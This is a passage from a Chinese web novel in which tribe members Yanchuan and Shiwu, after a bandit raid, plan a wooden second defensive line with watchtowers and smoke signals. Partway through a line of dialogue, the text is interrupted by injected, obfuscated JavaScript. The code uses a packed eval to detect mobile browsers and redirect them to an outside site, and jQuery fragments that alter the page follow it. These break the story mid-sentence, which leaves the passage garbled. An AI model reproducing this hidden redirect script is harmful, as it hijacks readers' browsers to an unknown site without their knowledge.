“抓住他们!一个也不能放跑!”砚川指着这群劫匪喊道。
从石兀身后赶上来好几个陌生的兽人,各个虎背熊腰,看上去等级都不小,七手八脚就把这群强盗全都收拾了。
几个兽人顷刻间变成几具尸体躺在地上,第一次看见这么血腥的场面,砚川汗毛倒竖转身想走,还没来得及动作,背就抵上来一个宽阔的胸膛。
“怎么样?!有受伤么?!”石兀伸出爪子按着肩膀把砚川硬转过来,紧张的不是一点半点,脸上还带着血迹。
上一分钟杀人的表情还在脸上,石兀的獠牙上还满是鲜血,吓得砚川硬生生后退了几步。
看见砚川眼里的恐惧,石兀怔在原地,巨兽亮澄的眼睛里有些愕然和受伤,看上去竟然有几分楚楚可怜。
“我没事。”砚川定住理智摇了摇头,胸腔里的心脏却还在恐惧里颤抖。
垂下眼睛,石兀没有再直视砚川,弓背恢复了人形:“没受伤就好,我和金朔在部落外看见这些兽人,想和我们换些盐,就问他们要不要加入部落,正谈着就看城里起了狼烟。”
“谢谢。”砚川向一起来救场的兽人道谢。
“不客气。以后大家都是一个部落的了。”为首那兽人嘿嘿笑得宽厚老实,在冰天雪地里只套了里外两件皮子,脖领处还有兽毛塞得严严实实,跟着动作带跑出来,正随风飞舞……
“你们能加入那真是太好了,有事来家里找我,我先回去一趟。”砚川笑起来,没再回头去看石兀的眼神,而是把事情交代给金朔和石兀他们,独自向家里走。
这次被突袭的危机让砚川清醒了一些,他不能干等明年开春再从部落外围建立城墙了,那完全不是办法。
吃亏就吃在他对兵法完全一窍不通,就凭知识想效仿古人在外围建长城,但现实是,书本上根本不符合他的现状,强盗可不会等开春再来抢,这不是房子,防御是最忌讳将就的。
“砚川……”石兀跟过来,担忧得看着砚川,“他们真的没伤到你?”
“真没有。”砚川一摊手,“你看我身上也不像受伤的。”
“那……”石兀支吾着问道,“是我刚刚吓到你了?”
“没有,就是……还没从刚刚的事里缓过来。”砚川想了想,还是把心里的话跟石兀说了,“我觉得我们想错了,根本等不到来年开春,以后越来越冷,像今天这种入侵只会越来越多。”
“可是……现在让族人们去领地周围守卫,我们不光人手不够,物资也不够,大雪封山,隔一段就要有人值守的话,需要大量柴火,现在光是把柴火和东西运上去都很困难,山上的柴也都是湿的,根本不能就地砍,房子也来不及建了。”石兀皱着眉头道。
“你说的对。”砚川点点头,“所以不能大规模在领地周围驻扎,我们负担不起。”
“要不然我们每次去巡逻前,给部落留下一部分人手。”石兀提议道,“现在人也多了,能打算开。”
“不够,今天这个五级兽人明显是城邦内逃出来的强盗。”砚川深吸一口气强迫自己冷静下来,“我就怕外面的兽人屡屡失败,集结在一起突袭我们。”
“这……”石兀也皱起眉头,砚川的这个说法完全有可能。
可部落物产丰富,位置又固定,就摆在明面上,躲在暗处的那些强盗如果联手来抢怎么办呢?
“首先,部落领地大,外围根本来不及守,人又少,天又冷,不能每个关卡都设重兵防御。”砚川思索着,“但周围这些强盗已经被大雪逼迫的越来越疯狂了,万万等不到来年开春。”
“那怎么办?”石兀愁眉不展看着砚川。
抿唇微一思索,他不想杀人,不光自己不喜欢这种感觉,也不想让那么多人死在这里。
可就是有亡命之徒想赌一把,天寒地冻,抱着与其等死不如一搏的心态,来攻打下河滩部落的兽人只会越来越多。
“今天的偷袭一定要吸取教训。”砚川看着石兀道,“这么大片领地我们保不住,不如先把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941266|208425||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
拳头攥紧,在部落聚集区外建立第二道防守线,不能用砖垒就用木材搭,山上架瞭望台派人值守,就围着部落四周设两三处,摆放在进山要道上,应该还养得起。这样一来有情况就放狼烟,大家来得及准备,哪怕有外敌入侵时,现场去第二道封锁线上就位也没问题。”
“好主意啊。”石兀眼前一亮,“这样既能防守部落又不耽误干活。”
砚川的心却没有那么轻松,他深刻体会到了什么是打天下容易守天下难,一个在明一个在暗,实在是防不胜防。
但好消息是,如果来攻打人数少,以部落现在的实力不足为惧,如果人数多,瞭望台建在高处一眼就能看见,放完狼烟就跑的话,应该可以做到没有伤亡。
“好,再把刀车和狼牙拍这些前面的防御工事都调回来。”石兀应和道,“我们就圈附近这一圈,大家每家搭把手用不了多久。”
“走吧,我们去找狼叔商量一下。”砚川心里没有松弛多少,十分担心今天他们把城邦来的强盗一网打尽了,这个消息……究竟会不会传开……
部落里几个重要的人一碰头,大家就把这件事定下来了,部落有石兀在出奇的团结,大家对砚川的决定都没有二话,风风火火的拿出各自囤下来用作建房子的木材给部落建起城寨。
鼠鼠们趁太阳最足的时候配合金铲向下挖洞,夯实立柱搭建地基。
“顶着天寒地冻让大家这样赶工,实在是失算……”砚川看着大家在雪天里忙活,心里都是难以言喻的滋味。
“这件事不能怪你。”石兀拍了拍砚川的肩膀,“大家都清楚是怎么回事,部落被偷袭你第一个上前抗敌,天冷了有你建的房子取暖,还有兽毛冬衣穿,谁还能说出什么?”
“如果我早预料到……”砚川皱起眉头,说了一半轻轻摇头,现在说什么都晚了。
“你不可能什么都预料到。”石兀侧脸看着砚川,总是细嫩的不像雄虫,但又没有雌性那样柔美,这种雌雄莫辨的气质实在迷人。